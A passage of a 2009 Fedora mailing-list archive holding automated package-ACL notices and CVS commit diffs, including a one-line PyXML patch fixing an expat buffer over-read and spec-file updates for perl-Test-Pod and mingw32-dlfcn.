Date: Fri, 30 Oct 2009 14:29:19 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142919.8F7B810F838@bastion2.fedora.phx.redhat.com>

rjones has set the watchbugzilla acl on mingw32-dlfcn (Fedora devel) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:19 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142920.0E7F210F846@bastion2.fedora.phx.redhat.com>

rjones has set the watchcommits acl on mingw32-dlfcn (Fedora devel) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:20 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142921.0107210F865@bastion2.fedora.phx.redhat.com>

rjones has set the commit acl on mingw32-dlfcn (Fedora devel) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:22 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142922.CFE8E10F872@bastion2.fedora.phx.redhat.com>

rjones has set the approveacls acl on mingw32-dlfcn (Fedora devel) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:25 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142925.DAB0B10F880@bastion2.fedora.phx.redhat.com>

rjones has set the watchbugzilla acl on mingw32-dlfcn (Fedora 10) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:27 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142927.207D910F841@bastion2.fedora.phx.redhat.com>

rjones has set the watchcommits acl on mingw32-dlfcn (Fedora 10) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:28 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142928.60EF610F89A@bastion2.fedora.phx.redhat.com>

rjones has set the commit acl on mingw32-dlfcn (Fedora 10) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:29 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142929.5AEBA10F8A2@bastion2.fedora.phx.redhat.com>

rjones has set the approveacls acl on mingw32-dlfcn (Fedora 10) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:32 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142932.D64D810F84F@bastion2.fedora.phx.redhat.com>

rjones has set the watchbugzilla acl on mingw32-dlfcn (Fedora 11) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:33 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142933.B2BF810F867@bastion2.fedora.phx.redhat.com>

rjones has set the watchcommits acl on mingw32-dlfcn (Fedora 11) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:34 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142934.84D8F10F8AC@bastion2.fedora.phx.redhat.com>

rjones has set the commit acl on mingw32-dlfcn (Fedora 11) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:36 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142936.3868A10F8B4@bastion2.fedora.phx.redhat.com>

rjones has set the approveacls acl on mingw32-dlfcn (Fedora 11) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:38 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142938.BB11010F87F@bastion2.fedora.phx.redhat.com>

rjones has set the watchbugzilla acl on mingw32-dlfcn (Fedora 12) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:39 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142939.5C71310F8BC@bastion2.fedora.phx.redhat.com>

rjones has set the watchcommits acl on mingw32-dlfcn (Fedora 12) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:40 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142940.7707210F8C0@bastion2.fedora.phx.redhat.com>

rjones has set the commit acl on mingw32-dlfcn (Fedora 12) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From pkgdb at fedoraproject.org  Fri Oct 30 14:29:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 14:29:42 +0000
Subject: [pkgdb] mingw32-dlfcn had acl change status
Message-ID: <20091030142942.50B3310F8C2@bastion2.fedora.phx.redhat.com>

rjones has set the approveacls acl on mingw32-dlfcn (Fedora 12) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-dlfcn



From rrakus at fedoraproject.org  Fri Oct 30 14:42:40 2009
From: rrakus at fedoraproject.org (Roman Rakus)
Date: Fri, 30 Oct 2009 14:42:40 +0000 (UTC)
Subject: rpms/PyXML/F-10 PyXML-0.8.4-buffer-over-read.patch, NONE,
	1.1 PyXML.spec, 1.32, 1.33
Message-ID: <20091030144240.B691911C00EA@cvs1.fedora.phx.redhat.com>

Author: rrakus

Update of /cvs/extras/rpms/PyXML/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3164

Modified Files:
	PyXML.spec 
Added Files:
	PyXML-0.8.4-buffer-over-read.patch 
Log Message:
Fix buffer over read

PyXML-0.8.4-buffer-over-read.patch:
 xmltok_impl.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE PyXML-0.8.4-buffer-over-read.patch ---
--- PyXML-0.8.4/extensions/expat/lib/xmltok_impl.c.cve3720
+++ PyXML-0.8.4/extensions/expat/lib/xmltok_impl.c
@@ -1741,7 +1741,7 @@ PREFIX(updatePosition)(const ENCODING *e
                        const char *end,
                        POSITION *pos)
 {
-  while (ptr != end) {
+  while (ptr < end) {
     switch (BYTE_TYPE(enc, ptr)) {
 #define LEAD_CASE(n) \
     case BT_LEAD ## n: \


Index: PyXML.spec
===================================================================
RCS file: /cvs/extras/rpms/PyXML/F-10/PyXML.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- PyXML.spec	14 Jul 2008 15:56:24 -0000	1.32
+++ PyXML.spec	30 Oct 2009 14:42:40 -0000	1.33
@@ -1,11 +1,13 @@
 Summary: XML libraries for python.
 Name: PyXML
 Version: 0.8.4
-Release: 10
+Release: 11%{?dist}
 Source: http://prdownloads.sourceforge.net/pyxml/PyXML-%{version}.tar.gz
 Patch0: PyXML-0.7.1-intern.patch
 Patch1: PyXML-0.8.4-cvs20041111-python2.4-backport.patch
 Patch2: PyXML-memmove.patch
+Patch3: PyXML-0.8.4-buffer-over-read.patch
+
 License: MIT and Python and ZPLv1.0 and BSD
 Group: Development/Libraries
 Requires: python
@@ -40,6 +42,7 @@ programming interfaces and an interface 
 %patch0 -p1 -b .intern
 %patch1 -p1 -b .python2.4-backport
 %patch2 -p1
+%patch3 -p1 -b .buufer_over_read
 
 %build
 CFLAGS="$RPM_OPT_FLAGS" %{__python} -c 'import setuptools; execfile("setup.py")' build  --with-xslt
@@ -60,6 +63,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/python?.?/site-packages/_xmlplus
 
 %changelog
+* Fri Oct 30 2009 Roman Rakus <rrakus at redhat.com> - 0.8.4-11
+- Fix buffer over read
+
 * Mon Jul 14 2008 Tom "spot" Callaway <tcallawa at redhat.com> - 0.8.4-10
 - fix license tag
 



From kasal at fedoraproject.org  Fri Oct 30 14:42:56 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Fri, 30 Oct 2009 14:42:56 +0000 (UTC)
Subject: rpms/perl-Test-Pod/devel .cvsignore, 1.4, 1.5 perl-Test-Pod.spec,
	1.15, 1.16 sources, 1.4, 1.5
Message-ID: <20091030144256.8C07C11C00EA@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Test-Pod/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3276

Modified Files:
	.cvsignore perl-Test-Pod.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Pod/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	21 Jul 2006 15:11:25 -0000	1.4
+++ .cvsignore	30 Oct 2009 14:42:56 -0000	1.5
@@ -1 +1 @@
-Test-Pod-1.26.tar.gz
+Test-Pod-1.40.tar.gz


Index: perl-Test-Pod.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Pod/devel/perl-Test-Pod.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- perl-Test-Pod.spec	26 Jul 2009 16:55:27 -0000	1.15
+++ perl-Test-Pod.spec	30 Oct 2009 14:42:56 -0000	1.16
@@ -1,6 +1,6 @@
 Name:           perl-Test-Pod
-Version:        1.26
-Release:        6%{?dist}
+Version:        1.40
+Release:        1%{?dist}
 Summary:        Perl module for checking for POD errors in files
 
 Group:          Development/Libraries
@@ -10,7 +10,7 @@ Source0:        http://www.cpan.org/auth
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
-BuildRequires:  perl(Pod::Simple) >= 2.04
+BuildRequires:  perl(Pod::Simple) >= 3.07
 BuildRequires:  perl(Test::Builder::Tester) >= 1.02
 BuildRequires:  perl(Test::More) >= 0.62
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
@@ -32,7 +32,7 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} ';'
-find $RPM_BUILD_ROOT -type d -depth -exec rmdir {} 2>/dev/null ';'
+find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir {} ';'
 chmod -R u+w $RPM_BUILD_ROOT/*
 
 
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Stepan Kasal <skasal at redhat.com> - 1.40-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.26-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Pod/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	21 Jul 2006 15:11:25 -0000	1.4
+++ sources	30 Oct 2009 14:42:56 -0000	1.5
@@ -1 +1 @@
-2f259135656ac4549b65a4f14f07b7c6  Test-Pod-1.26.tar.gz
+de975155ed1afb430b70456e2db00b29  Test-Pod-1.40.tar.gz



From epienbro at fedoraproject.org  Fri Oct 30 14:44:03 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Fri, 30 Oct 2009 14:44:03 +0000 (UTC)
Subject: rpms/mingw32-dlfcn/F-11 mingw32-dlfcn.spec,1.3,1.4
Message-ID: <20091030144403.4A21311C00EA@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-dlfcn/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3530/F-11

Modified Files:
	mingw32-dlfcn.spec 
Log Message:
* Fri Oct 30 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 0-0.7.r11
- Use %global instead of %define
- Automatically generate debuginfo subpackage (F-12+)
- Fixed %defattr line
- Added -static subpackage
- Fixed linker error with C++ applications



Index: mingw32-dlfcn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-dlfcn/F-11/mingw32-dlfcn.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- mingw32-dlfcn.spec	26 Feb 2009 01:02:03 -0000	1.3
+++ mingw32-dlfcn.spec	30 Oct 2009 14:44:02 -0000	1.4
@@ -1,16 +1,16 @@
-%define __strip %{_mingw32_strip}
-%define __objdump %{_mingw32_objdump}
-%define _use_internal_dependency_generator 0
-%define __find_requires %{_mingw32_findrequires}
-%define __find_provides %{_mingw32_findprovides}
+%global __strip %{_mingw32_strip}
+%global __objdump %{_mingw32_objdump}
+%global _use_internal_dependency_generator 0
+%global __find_requires %{_mingw32_findrequires}
+%global __find_provides %{_mingw32_findprovides}
 
-%define realname dlfcn-win32
+%global realname dlfcn-win32
 
-%define alphatag r11
+%global alphatag r11
 
 Name:          mingw32-dlfcn
 Version:       0
-Release:       0.5.%{alphatag}%{?dist}
+Release:       0.7.%{alphatag}%{?dist}
 Summary:       Implements a wrapper for dlfcn (dlopen dlclose dlsym dlerror)
 
 License:       LGPLv2+
@@ -27,6 +27,7 @@ BuildRequires: mingw32-binutils
 #BuildRequires: dos2unix
 
 Patch1:        dlfcn_configure.patch
+Patch2:        dlfcn-fix-cplusplus-linkage.patch
 
 
 %description
@@ -34,6 +35,15 @@ This library implements a wrapper for dl
 around the dynamic link library functions found in the Windows API.
 
 
+%package static
+Summary:        Static version of the MinGW Windows dlfcn library
+Requires:       %{name} = %{version}-%{release}
+Group:          Development/Libraries
+
+%description static
+Static version of the MinGW Windows dlfcn library.
+
+
 %prep
 %setup -q -n %{realname}-%{alphatag}
 
@@ -42,6 +52,7 @@ around the dynamic link library function
 %{__sed} -i 's/\r//' COPYING
 
 %patch1 -p1
+%patch2 -p0
 
 
 %build
@@ -49,7 +60,7 @@ around the dynamic link library function
   --incdir=%{_mingw32_includedir} \
   --cc=i686-pc-mingw32-gcc \
   --enable-shared=yes \
-  --enable-static=no \
+  --enable-static=yes \
   --enable-strip=i686-pc-mingw32-strip
 make %{?_smp_mflags}
 
@@ -64,14 +75,27 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %files
-%defattr(-,root,root)
+%defattr(-,root,root,-)
 %doc README COPYING
 %{_mingw32_bindir}/libdl.dll
 %{_mingw32_libdir}/libdl.dll.a
 %{_mingw32_includedir}/dlfcn.h
 
+%files static
+%defattr(-,root,root,-)
+%{_mingw32_libdir}/libdl.a
+
 
 %changelog
+* Fri Oct 30 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 0-0.7.r11
+- Use %%global instead of %%define
+- Fixed %%defattr line
+- Added -static subpackage
+- Fixed linker error with C++ applications
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0-0.6.r11
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0-0.5.r11
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From epienbro at fedoraproject.org  Fri Oct 30 14:44:03 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Fri, 30 Oct 2009 14:44:03 +0000 (UTC)
Subject: rpms/mingw32-dlfcn/F-12 dlfcn-fix-cplusplus-linkage.patch, NONE,
	1.1 mingw32-dlfcn.spec, 1.4, 1.5
Message-ID: <20091030144403.BB6D411C00EA@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-dlfcn/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3530/F-12

Modified Files:
	mingw32-dlfcn.spec 
Added Files:
	dlfcn-fix-cplusplus-linkage.patch 
Log Message:
* Fri Oct 30 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 0-0.7.r11
- Use %global instead of %define
- Automatically generate debuginfo subpackage (F-12+)
- Fixed %defattr line
- Added -static subpackage
- Fixed linker error with C++ applications


dlfcn-fix-cplusplus-linkage.patch:
 dlfcn.h |    8 ++++++++
 1 file changed, 8 insertions(+)

--- NEW FILE dlfcn-fix-cplusplus-linkage.patch ---
--- dlfcn.h.orig	2009-10-30 15:36:35.357902913 +0100
+++ dlfcn.h	2009-10-30 15:39:51.126664184 +0100
@@ -37,9 +37,17 @@
 #define RTLD_DEFAULT    0
 #define RTLD_NEXT       0
 
+#ifdef __cplusplus
+extern "C" {
+#endif
+
 void *dlopen ( const char *file, int mode );
 int   dlclose( void *handle );
 void *dlsym  ( void *handle, const char *name );
 char *dlerror( void );
 
+#ifdef __cplusplus
+}
+#endif
+
 #endif /* DLFCN_H */


Index: mingw32-dlfcn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-dlfcn/F-12/mingw32-dlfcn.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- mingw32-dlfcn.spec	25 Jul 2009 12:16:02 -0000	1.4
+++ mingw32-dlfcn.spec	30 Oct 2009 14:44:03 -0000	1.5
@@ -1,16 +1,17 @@
-%define __strip %{_mingw32_strip}
-%define __objdump %{_mingw32_objdump}
-%define _use_internal_dependency_generator 0
-%define __find_requires %{_mingw32_findrequires}
-%define __find_provides %{_mingw32_findprovides}
+%global __strip %{_mingw32_strip}
+%global __objdump %{_mingw32_objdump}
+%global _use_internal_dependency_generator 0
+%global __find_requires %{_mingw32_findrequires}
+%global __find_provides %{_mingw32_findprovides}
+%define __debug_install_post %{_mingw32_debug_install_post}
 
-%define realname dlfcn-win32
+%global realname dlfcn-win32
 
-%define alphatag r11
+%global alphatag r11
 
 Name:          mingw32-dlfcn
 Version:       0
-Release:       0.6.%{alphatag}%{?dist}
+Release:       0.7.%{alphatag}%{?dist}
 Summary:       Implements a wrapper for dlfcn (dlopen dlclose dlsym dlerror)
 
 License:       LGPLv2+
@@ -21,12 +22,13 @@ BuildRoot:     %{_tmppath}/%{name}-%{ver
 
 BuildArch:     noarch
 
-BuildRequires:  mingw32-filesystem >= 49
+BuildRequires: mingw32-filesystem >= 52
 BuildRequires: mingw32-gcc
 BuildRequires: mingw32-binutils
 #BuildRequires: dos2unix
 
 Patch1:        dlfcn_configure.patch
+Patch2:        dlfcn-fix-cplusplus-linkage.patch
 
 
 %description
@@ -34,6 +36,18 @@ This library implements a wrapper for dl
 around the dynamic link library functions found in the Windows API.
 
 
+%package static
+Summary:        Static version of the MinGW Windows dlfcn library
+Requires:       %{name} = %{version}-%{release}
+Group:          Development/Libraries
+
+%description static
+Static version of the MinGW Windows dlfcn library.
+
+
+%{_mingw32_debug_package}
+
+
 %prep
 %setup -q -n %{realname}-%{alphatag}
 
@@ -42,6 +56,7 @@ around the dynamic link library function
 %{__sed} -i 's/\r//' COPYING
 
 %patch1 -p1
+%patch2 -p0
 
 
 %build
@@ -49,7 +64,7 @@ around the dynamic link library function
   --incdir=%{_mingw32_includedir} \
   --cc=i686-pc-mingw32-gcc \
   --enable-shared=yes \
-  --enable-static=no \
+  --enable-static=yes \
   --enable-strip=i686-pc-mingw32-strip
 make %{?_smp_mflags}
 
@@ -64,14 +79,25 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %files
-%defattr(-,root,root)
+%defattr(-,root,root,-)
 %doc README COPYING
 %{_mingw32_bindir}/libdl.dll
 %{_mingw32_libdir}/libdl.dll.a
 %{_mingw32_includedir}/dlfcn.h
 
+%files static
+%defattr(-,root,root,-)
+%{_mingw32_libdir}/libdl.a
+
 
 %changelog
+* Fri Oct 30 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 0-0.7.r11
+- Use %%global instead of %%define
+- Automatically generate debuginfo subpackage
+- Fixed %%defattr line
+- Added -static subpackage
+- Fixed linker error with C++ applications
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0-0.6.r11
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From epienbro at fedoraproject.org  Fri Oct 30 14:44:04 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Fri, 30 Oct 2009 14:44:04 +0000 (UTC)
Subject: rpms/mingw32-dlfcn/devel dlfcn-fix-cplusplus-linkage.patch, NONE,
	1.1 mingw32-dlfcn.spec, 1.4, 1.5
Message-ID: <20091030144404.BA2A611C00EA@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-dlfcn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3530/devel

Modified Files:
	mingw32-dlfcn.spec 
Added Files:
	dlfcn-fix-cplusplus-linkage.patch 
Log Message:
* Fri Oct 30 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 0-0.7.r11
- Use %global instead of %define
- Automatically generate debuginfo subpackage (F-12+)
- Fixed %defattr line
- Added -static subpackage
- Fixed linker error with C++ applications


dlfcn-fix-cplusplus-linkage.patch:
 dlfcn.h |    8 ++++++++
 1 file changed, 8 insertions(+)

--- NEW FILE dlfcn-fix-cplusplus-linkage.patch ---
--- dlfcn.h.orig	2009-10-30 15:36:35.357902913 +0100
+++ dlfcn.h	2009-10-30 15:39:51.126664184 +0100
@@ -37,9 +37,17 @@
 #define RTLD_DEFAULT    0
 #define RTLD_NEXT       0
 
+#ifdef __cplusplus
+extern "C" {
+#endif
+
 void *dlopen ( const char *file, int mode );
 int   dlclose( void *handle );
 void *dlsym  ( void *handle, const char *name );
 char *dlerror( void );
 
+#ifdef __cplusplus
+}
+#endif
+
 #endif /* DLFCN_H */


Index: mingw32-dlfcn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-dlfcn/devel/mingw32-dlfcn.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- mingw32-dlfcn.spec	25 Jul 2009 12:16:02 -0000	1.4
+++ mingw32-dlfcn.spec	30 Oct 2009 14:44:03 -0000	1.5
@@ -1,16 +1,17 @@
-%define __strip %{_mingw32_strip}
-%define __objdump %{_mingw32_objdump}
-%define _use_internal_dependency_generator 0
-%define __find_requires %{_mingw32_findrequires}
-%define __find_provides %{_mingw32_findprovides}
+%global __strip %{_mingw32_strip}
+%global __objdump %{_mingw32_objdump}
+%global _use_internal_dependency_generator 0
+%global __find_requires %{_mingw32_findrequires}
+%global __find_provides %{_mingw32_findprovides}
+%define __debug_install_post %{_mingw32_debug_install_post}
 
-%define realname dlfcn-win32
+%global realname dlfcn-win32
 
-%define alphatag r11
+%global alphatag r11
 
 Name:          mingw32-dlfcn
 Version:       0
-Release:       0.6.%{alphatag}%{?dist}
+Release:       0.7.%{alphatag}%{?dist}
 Summary:       Implements a wrapper for dlfcn (dlopen dlclose dlsym dlerror)
 
 License:       LGPLv2+
@@ -21,12 +22,13 @@ BuildRoot:     %{_tmppath}/%{name}-%{ver
 
 BuildArch:     noarch
 
-BuildRequires:  mingw32-filesystem >= 49
+BuildRequires: mingw32-filesystem >= 52
 BuildRequires: mingw32-gcc
 BuildRequires: mingw32-binutils
 #BuildRequires: dos2unix
 
 Patch1:        dlfcn_configure.patch
+Patch2:        dlfcn-fix-cplusplus-linkage.patch
 
 
 %description
@@ -34,6 +36,18 @@ This library implements a wrapper for dl
 around the dynamic link library functions found in the Windows API.
 
 
+%package static
+Summary:        Static version of the MinGW Windows dlfcn library
+Requires:       %{name} = %{version}-%{release}
+Group:          Development/Libraries
+
+%description static
+Static version of the MinGW Windows dlfcn library.
+
+
+%{_mingw32_debug_package}
+
+
 %prep
 %setup -q -n %{realname}-%{alphatag}
 
@@ -42,6 +56,7 @@ around the dynamic link library function
 %{__sed} -i 's/\r//' COPYING
 
 %patch1 -p1
+%patch2 -p0
 
 
 %build
@@ -49,7 +64,7 @@ around the dynamic link library function
   --incdir=%{_mingw32_includedir} \
   --cc=i686-pc-mingw32-gcc \
   --enable-shared=yes \
-  --enable-static=no \
+  --enable-static=yes \
   --enable-strip=i686-pc-mingw32-strip
 make %{?_smp_mflags}
 
@@ -64,14 +79,25 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %files
-%defattr(-,root,root)
+%defattr(-,root,root,-)
 %doc README COPYING
 %{_mingw32_bindir}/libdl.dll
 %{_mingw32_libdir}/libdl.dll.a
 %{_mingw32_includedir}/dlfcn.h
 
+%files static
+%defattr(-,root,root,-)
+%{_mingw32_libdir}/libdl.a
+
 
 %changelog
+* Fri Oct 30 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 0-0.7.r11
+- Use %%global instead of %%define
+- Automatically generate debuginfo subpackage
+- Fixed %%defattr line
+- Added -static subpackage
+- Fixed linker error with C++ applications
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0-0.6.r11
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kasal at fedoraproject.org  Fri Oct 30 14:44:28 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Fri, 30 Oct 2009 14:44:28 +0000 (UTC)
Subject: rpms/perl-Test-Pod/F-12 .cvsignore, 1.4, 1.5 perl-Test-Pod.spec,
	1.15, 1.16 sources, 1.4, 1.5
Message-ID: <20091030144428.5859711C00EA@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Test-Pod/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4001

Modified Files:
	.cvsignore perl-Test-Pod.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Pod/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	21 Jul 2006 15:11:25 -0000	1.4
+++ .cvsignore	30 Oct 2009 14:44:27 -0000	1.5
@@ -1 +1 @@
-Test-Pod-1.26.tar.gz
+Test-Pod-1.40.tar.gz


Index: perl-Test-Pod.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Pod/F-12/perl-Test-Pod.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- perl-Test-Pod.spec	26 Jul 2009 16:55:27 -0000	1.15
+++ perl-Test-Pod.spec	30 Oct 2009 14:44:27 -0000	1.16
@@ -1,6 +1,6 @@
 Name:           perl-Test-Pod
-Version:        1.26
-Release:        6%{?dist}
+Version:        1.40
+Release:        1%{?dist}
 Summary:        Perl module for checking for POD errors in files
 
 Group:          Development/Libraries
@@ -10,7 +10,7 @@ Source0:        http://www.cpan.org/auth
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
-BuildRequires:  perl(Pod::Simple) >= 2.04
+BuildRequires:  perl(Pod::Simple) >= 3.07
 BuildRequires:  perl(Test::Builder::Tester) >= 1.02
 BuildRequires:  perl(Test::More) >= 0.62
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
@@ -32,7 +32,7 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} ';'
-find $RPM_BUILD_ROOT -type d -depth -exec rmdir {} 2>/dev/null ';'
